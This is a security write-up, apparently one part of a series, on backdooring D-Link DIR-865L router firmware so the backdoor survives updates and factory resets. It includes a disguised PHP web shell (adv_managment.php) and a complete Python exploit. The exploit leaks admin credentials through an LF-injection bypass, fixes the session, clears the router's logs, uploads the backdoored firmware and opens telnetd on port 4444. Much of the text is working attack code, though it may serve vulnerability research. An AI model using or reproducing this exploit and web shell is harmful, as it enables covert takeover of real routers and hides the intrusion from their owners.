Before starting, it is recommended to read the previous article:

The advantage of having a persistent backdoor is that, our backdoor will still be present after the reboot, and even if the administrator decides to do a factory reset. I realized that, when uploading a new firmware, the current router configuration (stored in XML the format) is kept even after the update, which avoids putting the router in a state that could indicate to the administrator that actions have been performed without him knowing.

I noticed that, it is possible to downgrade the firmware version of the router, because, no check is made on the version during upload. Moreover, there is no signature check when uploading a new firmware. I wondered if it was possible to add a backdoor in the form of a file (with extension .php) to the root of the Web server.

After a first try using firmware-mod-kit it was a success.

alt-text

alt-text

alt-text

alt-text

alt-text

Persistent backdoor

Using firmware-mod-kit, we are going to add a backdoor, by adding the file adv_managment.php (to have a name that looks like an existing file and not attract attention) to folder /htdocs/web/ in the Squashfs (and this for all possible firmware versions).

The password to execute commands is the md5 hash of the string CoIfFeUr.

alt-text

File: adv_managment.php

HTTP/1.1 200 OK

<?
function execute_cmd($cmd) {
    fwrite("w","/var/run/exec.sh", $cmd);
    event("EXECUTE");
}

if ($_POST["password"] == "9742aae404385c5e0a47b7e6006c151f") {
    execute_cmd($_POST["cmd"]);
    echo "DONE" . "\n";
}
?>

Extraction of an official firmware

alt-text

Packaging of the backdoored firmware

alt-text

Results

Archives containing the official firmware and sometime patchs note:

  • DIR-865L_1.00.zip
  • DIR-865L_1.02.zip
  • DIR-865L_1.03.zip
  • DIR-865L_1.05.zip
  • DIR-865L_1.07.zip

Official firmwares:

Firmware File Hash (md5) Firmware Version Binwalk Output
DIR-865L_1.00.bin 54fdcc42c00fa43702825240ad2551fa 1.00 DIR-865L_1.00.binwalk
DIR-865L_1.02.bin 2ac0e74f984a58dea7a02cb7b9b0a2ba 1.02 DIR-865L_1.02.binwalk
DIR-865L_1.03.bin ab625f3ad2e330261a599ed49e72f18d 1.03 DIR-865L_1.03.binwalk
DIR-865L_1.05.bin ccaf3b7425a1ecda7deaaefacfe606b5 1.05 DIR-865L_1.05.binwalk
DIR-865L_1.07.bin 5555f547774542396fdc725187588d6b 1.07 DIR-865L_1.07.binwalk

Backdoored firmwares:

Backdoored Firmware File Hash (md5) Firmware Version
DIR-865L_1.00_backdoored.bin b0607256f9b0f83f9eaddea55174d69f 1.00
DIR-865L_1.02_backdoored.bin 5a67fbb3e58cb9b42c5a2cc4b3dafba6 1.02
DIR-865L_1.03_backdoored.bin d03f1b0c1514f552b3e8e8bb1d2d3832 1.03
DIR-865L_1.05_backdoored.bin 4dbfc74ea666d8f098adbe33388c4d64 1.05
DIR-865L_1.07_backdoored.bin 7e3bdbcc104fb202463b28b691e42efc 1.07

Proof Of Concept

alt-text

Exploit

File: exploit.py

import argparse
import hmac
import ipaddress
import json
import requests
import time
import urllib3


# Remove SSL warnings.
urllib3.disable_warnings()
# The header "Server" leaks information (model number, firmware version).
SERVER_HEADER = "Server"
# Port on which the telnetd process should listen.
TELNETD_PORT = 4444
# Credentials to use when connecting to telnetd.
CREDENTIALS = {
    "login": "coiffeur",
    "password": "coiffeur"
}
# Versions for which the backdoor firmware is already packaged.
VERSIONS = ["1.00", "1.02", "1.03", "1.05", "1.07"]
# Delay before checking that the firmware has been correctly installed.
DELAY = 460

# This function extracts the data between two delimiters.
def extract(raw, start_delimiter, end_delimiter):
    # The first delimiter is searched for.
    start = raw.find(start_delimiter)
    if start == -1:
        print("[x] Error: function extract() failed (can't find starting delimiter).")
        return None
    start = start + len(start_delimiter)
    # The second delimiter is searched for.
    end = raw[start::].find(end_delimiter)
    if end == -1:
        print("[x] Error: function extract() failed (can't find end delimiter).")
        return None
    end += start
    return raw[start:end]


class Recon:
    def __init__(self, ip, port):
        self.ip = ip
        self.port = port

        # We check that we can communicate with the target
        # either through the HTTPS protocol or through the
        # HTTP protocol.
        if not (self.check_protocol(f"https://{ip}:{port}") or self.check_protocol(f"http://{ip}:{port}")):
            print("\t"+"[x] Can't communicate with the target.")
            exit(-1)
        print("\t"+f"[*] Target's URL: {self.url}")

        # We check that the target is vulnerable by identifying
        # its model number and firmware version.
        if not self.check_target():
            print("\t"+"[x] Target is not exploitable.")
            exit(-1)
        print("\t"+"[+] Target is exploitable.")

    # This function tries to communicate with the Web server
    # through the provided URL
    def check_protocol(self, url):
        try:
            r = requests.get(url=url, verify=False)
        except:
            return 0
        self.url = url
        return 1

    # This function checks the router model number through
    # the headers of the Web server response and the content
    # of the response body. The firmware version is given
    # for information only.
    def check_target(self):
        r = requests.get(url=self.url, allow_redirects=False, verify=False)
        if r.status_code != 200:
            return 0

        # We check the presence of the model number in the
        # SERVER_HEADER header.
        if r.headers[SERVER_HEADER].find("DIR-865L") == -1:
            return 0
        model_header = r.headers[SERVER_HEADER].split(" ")[2]
        version_header = " ".join(r.headers[SERVER_HEADER].split(" ")[3:5]).split(" ")[-1]
        print("\t"+f"[*] Model retrieved from header '{SERVER_HEADER}': {model_header} (Information Leak, pre-auth)")
        print("\t"+f"[*] Version retrieved from header '{SERVER_HEADER}': {version_header} (Information Leak, pre-auth)")

        # We check the presence of the model number in the body
        # of the Web server response.
        if r.text.find("DIR-865L") == -1:
            return 0
        model_body = extract(r.text, "target=\"_blank\">", "</a>")
        version_body = extract(r.text, "<span class=\"version\">", "</span>").split(" ")[-1]
        print("\t"+f"[*] Model retrieved from HTML body: {model_body} (Information Leak, pre-auth)")
        print("\t"+f"[*] Version retrieved from HTML body: {version_body} (Information Leak, pre-auth)")
        
        if version_header == version_body and version_body in VERSIONS:
            self.version = version_header
            return 1
        return 0


class Attack:
    storages = []
    session = "uid=session_fixation"

    def __init__(self, ip, port, url, version):
        self.ip = ip
        self.port = port
        self.url = url
        self.version = version

        # The router is vulnerable to an authentication bypass via LF
        # injection using "%0a" in POST parameters whe requesting
        # "/check_stats.php" which allows us to retrieve administrator's
        # username and password.
        # We try to exploit this vulnerability to retrieve the account name
        # and password of the administrator.
        if not self.get_credentials():
            print("\t"+"[x] Can't retrieve administrator's credentials.")
            exit(-1)
        print("\t"+f"[*] Leaked username: {self.username} (Authentication Bypass via LF Injection + Information Leak, pre-auth)")
        print("\t"+f"[*] Leaked password: {self.password} (Authentication Bypass via LF Injection + Information Leak, pre-auth)")

        # The router is vulnerable to session fixation. We exploit this
        # vulnerability during authentication.
        if not self.set_session():
            print("\t"+"[x] Can't log in as administrator.")
            exit(-1)
        print("\t"+f"[*] Session fixed at: {self.session} (Session Fixation, pre-auth)")

        # During authentication the IPs are logged. We must clear
        # the logs.
        self.clear_logs()
        print("\t"+"[*] Authentication logs cleared.")

        # During authentication the IPs are logged. We must clear
        # the logs.
        if not self.upload_backdoor():
            print("\t"+"[x] Can't upload backdoored firmware.")
            exit(-1)
        print("\t"+"[+] Backdoored firmwared uploaded.")

    # This function exploits an authentication bypass to retrieve
    # the account name and password of the administrator.
    def get_credentials(self):
        new_url = f"{self.url}/check_stats.php"
        headers = {
            "Content-Type": "application/x-www-form-urlencoded"
        }
        # We retrieve the administrator's account name.
        datas = b"CHECK_NODE=/device/account/entry:1/name" + b"&authentication_bypass=%0aAUTHORIZED_GROUP%3d1%0a"
        r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
        if r.status_code != 200 or r.text.find("OK") == -1:
            return 0
        self.username = extract(r.text, "<code>", "</code>")
        if not self.username:
            return 0

        # We retrieve the administrator's password.
        datas = b"CHECK_NODE=/device/account/entry:1/password" + b"&authentication_bypass=%0aAUTHORIZED_GROUP%3d1%0a"
        r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
        if r.status_code != 200 or r.text.find("OK") == -1:
            return 0
        self.password = extract(r.text, "<code>", "</code>")
        return 1

    # This function is used to authenticate and operate the
    # session fixation.
    def set_session(self):
        new_url = f"{self.url}/session.cgi"
        headers = {
            "Cookie": self.session,
            "Content-Type": "application/x-www-form-urlencoded"
        }
        datas = f"REPORT_METHOD=xml&ACTION=login_plaintext&USER={self.username}&PASSWD={self.password}"
        r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
        if r.status_code != 200 or r.text.find("SUCCESS") == -1:
            return 0
        return 1

    # This function allows to erase authentication traces by
    # cleaning the logs.
    def clear_logs(self):
        # However, we need to send a specific request for each
        # type of log we want to clean
        for logtype in ["sysact", "attack", "drop"]:
            new_url = f"{self.url}/log_clear.php"
            headers = {
                "Cookie": self.session,
                "Content-Type": "application/x-www-form-urlencoded"
            }
            datas = f"act=clear&logtype={logtype}&SERVICES=RUNTIME.LOG"
            r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)

    # This function attempts to upload our persistence
    # which is a backdoored firmware.
    def upload_backdoor(self):
        new_url = f"{self.url}/fwup.cgi"
        headers = {
            "Cookie": self.session
        }
        datas = {
            "REPORT_METHOD": 301,
            "REPORT": "tools_fw_rlt.php",
            "DELAY": "10",
            "PELOTA_ACTION": "fwupdate"
        }
        files = {
            "fw": (f"DIR-865L_{self.version}_backdoored.bin", open(f"DIR-865L_{self.version}_backdoored.bin", "rb"), "application/macbinary")
        }
        print("\t"+f"[*] Picking: DIR-865L_{self.version}_backdoored.bin")
        print("\t"+f"[*] Trying to upload backdoored firmware ...")
        r = requests.post(url=new_url, headers=headers, files=files, data=datas, allow_redirects=False, verify=False)
        if r.status_code == 301:
            try:
                if r.headers["Location"].find("RESULT=SUCCESS") != -1:
                    return 1
            except:
                pass
        return 0


class Check:
    def __init__(self, ip, port, url):
        self.ip = ip
        self.port = port
        self.url = url

        # There we check if we can trigger the PHP webshell
        # located in Web server root directory.
        if not self.trigger():
            print("\t"+"[x] Can't trigger adv_managment.php")
            print("\t"+"[x] Exploit failed.")
            exit(-1)

        print("\t"+"[+] Exploit succeed.")

    # This function just tries to trigger route "/adv_managment.php".
    def trigger(self):
        new_url = f"{self.url}/adv_managment.php"
        headers = {
            "Content-Type": "application/x-www-form-urlencoded"
        }
        datas  = b""
        datas += b"password=9742aae404385c5e0a47b7e6006c151f&"
        datas += b"cmd=kilall telnetd;"
        datas += b"/usr/sbin/telnetd -l/usr/sbin/login -u "
        datas += CREDENTIALS['login'].encode() + b":" + CREDENTIALS['password'].encode()
        datas += b" -p" + f"{TELNETD_PORT}".encode()+ b" %26"
        r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
        if r.status_code == 200:
            if r.text.find("DONE") != -1:
                return 1
        return 0


def main(options):
    print(f"[*] Starting recon for {options['ip']}:{options['port']} ...")
    recon = Recon(options['ip'], options['port'])

    print(f"[*] Starting attack on {recon.ip}:{recon.port} ...")
    attack = Attack(recon.ip, recon.port, recon.url, recon.version)

    print(f"[*] Starting check on {attack.ip}:{recon.port} in {DELAY}s ...")
    time.sleep(DELAY)
    check = Check(attack.ip, recon.port, attack.url)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("ip", help="Target's IP.")
    parser.add_argument("port", help="Target's port.")
    args = parser.parse_args()

    options = {}
    if args.ip and args.port:
        options["ip"] = args.ip
        options["port"] = args.port
    else:
        parser.print_help()
        exit(-1)

    main(options)